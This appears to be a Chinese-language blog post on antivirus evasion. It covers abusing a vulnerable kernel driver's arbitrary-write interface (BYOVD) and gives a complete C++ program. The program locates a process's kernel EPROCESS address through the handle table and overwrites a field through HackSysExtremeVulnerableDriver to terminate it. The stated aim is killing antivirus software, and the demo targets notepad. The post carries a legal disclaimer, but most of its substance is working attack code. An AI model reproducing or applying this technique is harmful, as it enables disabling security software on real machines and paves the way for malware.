基于 BYOVD 的 Windows 内核态任意写(Arbitrary Write)免杀技术探讨
今天聊聊免杀,
本技术及代码仅供合法合规的安全研究与防御提升使用,严禁用于任何非法攻击;因不当使用导致的系统崩溃或法律后果,均由行为人自行承担。
流行的免杀大类基本分为一体的注入,但是这种对于静态分析较为明显,也是最初级的一种
再者是引入加载器loader,也就是机器码与loader分开,这样可以大大降低被杀的风险,
双边进行多重的分块强加密,最后进行拼组,对于免杀绕过效率会大大提高,我在之前
也是手搓过一个示例,过了大部分杀软

以及诸多DLL白加黑,加壳,签名等等的技术
当然,今天的重点不是这些方法,
这次主要谈谈内核态的进阶免杀理解
都知道,杀软都是有静态和动态免杀的,而这些时候
windows在10/11的杀软策略尤为激进,
引入了大量的底层hook,即使加密在最后拼凑的时候还是会触发api的hook
这里介绍其中一种进阶方法
在windows底层api之下,存在systemcall,也就是内核方法的入门
程序如果对于内核进行调用,是可以绕开常规hook的
当然,正常的程序却没有随意写的权限,
如果自己写改内存的程序也会没有正确的证书签名而被微软拒绝
这里就要引入一个新概念了,也就是劫持ring3改ring0
正常的驱动很多时候会向内存执行许多操作,
比如调度电,提电压等等,
但是如果是漏洞sys,就会有可以被劫持的写内存的接口,
而windows底层api DeviceIoControl可以对于驱动进行通信
如果说存在类似
//直接获取用户态传入的原始结构体指针PWRITE_WHAT_WHERE pBuf = (PWRITE_WHAT_WHERE)irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
//直接赋值ULONG_PTR what = *(pBuf->What);PULONG_PTR where = pBuf->Where;
// 用 Ring 0 权限向攻击者指定的任意内核地址写入任意数据*where = what;的代码,当然是可以更加复杂的,这只是一个最小示例
在微软白名单的漏洞驱动进行加载后,就存在了内存任意写
当然,任意写的目的还是kill杀软,这里就要引入下一个概念,
也就是句柄了,在windows里handle无比重要,
当我想kill一个程序的时候,必须拿到它在内存里的地址,
windows的底层存在未公开api NtQuerySystemInformation
这里注意需要二次分段传参为好,对于主机的影响是最小的,提前获取到内存盒大小
在这里返回的内核句柄表的子参与prccess pid进行比对
查找pid较为简单,类似函数如下
DWORD GetProcessIdByPID(const wchar_t* procName) { DWORD pid = 0; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot != INVALID_HANDLE_VALUE) { PROCESSENTRY32W entry; entry.dwSize = sizeof(entry); if (Process32FirstW(snapshot, &entry)) { do { if (wcscmp(entry.szExeFile, procName) == 0) { pid = entry.th32ProcessID; break; } } while (Process32NextW(snapshot, &entry)); } CloseHandle(snapshot); } return pid;}提两个小知识,CreateToolhelp32Snapshot可以拍下当前所有状态的函数,也就可以查询了,
这里也是利用这个原理,以及
PROCESSENTRY32W entry; entry.dwSize = sizeof(entry);是必须的,微软文档要求需传入。
再往下,句柄的地址表基本上是句柄xxx,指向内核0xxxxxx,
我们只有pid,可以通过openprocess api进行句柄信息的申请
挂载在自身之后,我们就可以在大表中遍历了
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) { if (pHandleInfo->Handles[i].UniqueProcessId == currentPid && (HANDLE)(ULONG_PTR)pHandleInfo->Handles[i].HandleValue == hTargetProc) { EprocessAddress = (ULONG_PTR)pHandleInfo->Handles[i].Object; break; } }Object也就拿到了指向目标程序的内核地址
这样重点就剩下最后一步了,在找到了内存地址之后,就要算核心电源的地址了
这之中存在偏移,在尝试了大量的调试甚至盲打之后,发现windbg其实挺一劳永逸的
不同的版本的偏移不一样,调试就不赘述了
当然注意的事还有很多,在申请句柄表的时候不清楚内存分配还炸了好几次
后面就用小算法弥补了,
免杀中这仅仅还是冰山一角,要学的东西还是很多hh
比如在如何隐式加载sys,很多未公开api和进阶的方法
逆流而上吧, YMsora~
这里补下我手搓的小实验程序
#include <stdio.h>#include <windows.h>#include <tlhelp32.h>#include <iostream>
#define HAVE_IOCTL_ARBITRARY_WRITE 0x22200B#pragma comment(lib, "ntdll.lib")
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess;} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef struct _WRITE_WHAT_WHERE { PVOID What; PVOID Where;} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
extern "C" NTSTATUS WINAPI NtQuerySystemInformation( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
DWORD GetProcessIdByPID(const wchar_t* procName) { DWORD pid = 0; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot != INVALID_HANDLE_VALUE) { PROCESSENTRY32W entry; entry.dwSize = sizeof(entry); if (Process32FirstW(snapshot, &entry)) { do { if (wcscmp(entry.szExeFile, procName) == 0) { pid = entry.th32ProcessID; break; } } while (Process32NextW(snapshot, &entry)); } CloseHandle(snapshot); } return pid;}
int main() { DWORD nPID = GetProcessIdByPID(L"notepad.exe"); if (nPID == 0) { std::cerr << "事到如今,先打开吧" << std::endl; system("pause"); return 1; } HANDLE hTargetProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, nPID); if (!hTargetProc) { std::cerr << "坏了没联系" << std::endl; system("pause"); return 1; }
volatile ULONG reqLength = 0x10000; PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL; NTSTATUS status = 0;
std::cout << "正在动态套牢内核句柄大表..." << std::endl;
while (true) { pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)VirtualAlloc( NULL, reqLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pHandleInfo) { std::cerr << "内存分配严重失败!" << std::endl; CloseHandle(hTargetProc); system("pause"); return 1; }
status = NtQuerySystemInformation(16, pHandleInfo, reqLength, (PULONG)&reqLength);
if (status == 0xC0000004) { VirtualFree(pHandleInfo, 0, MEM_RELEASE); reqLength *= 2; continue; }
if (status != 0) { std::cerr << "内核拒绝,错误码: 0x" << std::hex << status << std::endl; VirtualFree(pHandleInfo, 0, MEM_RELEASE); CloseHandle(hTargetProc); system("pause"); return 1; }
break; }
ULONG_PTR EprocessAddress = 0; DWORD currentPid = GetCurrentProcessId();
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) { if (pHandleInfo->Handles[i].UniqueProcessId == currentPid && (HANDLE)(ULONG_PTR)pHandleInfo->Handles[i].HandleValue == hTargetProc) { EprocessAddress = (ULONG_PTR)pHandleInfo->Handles[i].Object; break; } }
VirtualFree(pHandleInfo, 0, MEM_RELEASE);
if (EprocessAddress == 0) { std::cerr << "没找到记事本的 Eprocess 地址" << std::endl; CloseHandle(hTargetProc); system("pause"); return 1; }
std::cout << "==================================================" << std::endl; std::cout << "偷到的记事本基地址为:" << std::endl; std::cout << "0x" << std::hex << std::uppercase << EprocessAddress << std::endl; std::cout << "==================================================" << std::endl;
system("pause");
// 靶点计算 PULONG_PTR TargetAddress = (PULONG_PTR)((ULONG_PTR)EprocessAddress + 0x4B8); ULONG_PTR ValueToWrite = 0x0000000000000000;
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) { std::cerr << "Failed to open device: " << GetLastError() << std::endl; CloseHandle(hTargetProc); system("pause"); return 1; }
WRITE_WHAT_WHERE POC; POC.What = (PVOID)&ValueToWrite; POC.Where = (PVOID)TargetAddress;
DWORD bytesReturned = 0; BOOL result = DeviceIoControl( hDevice, HAVE_IOCTL_ARBITRARY_WRITE, &POC, sizeof(POC), NULL, 0, &bytesReturned, NULL );
CloseHandle(hDevice); CloseHandle(hTargetProc);
if (!result) { std::cerr << "DeviceIoControl failed: " << GetLastError() << std::endl; system("pause"); return 1; }
MessageBoxA(NULL, "记事本退出成功,内核实验成功hhhh", "YMsora的超级实验", MB_OK | MB_ICONINFORMATION); return 0;}PS:其实调试挺久的,大家看到很多system(“pause”); 就可以证明了hh
部分信息可能已经过时





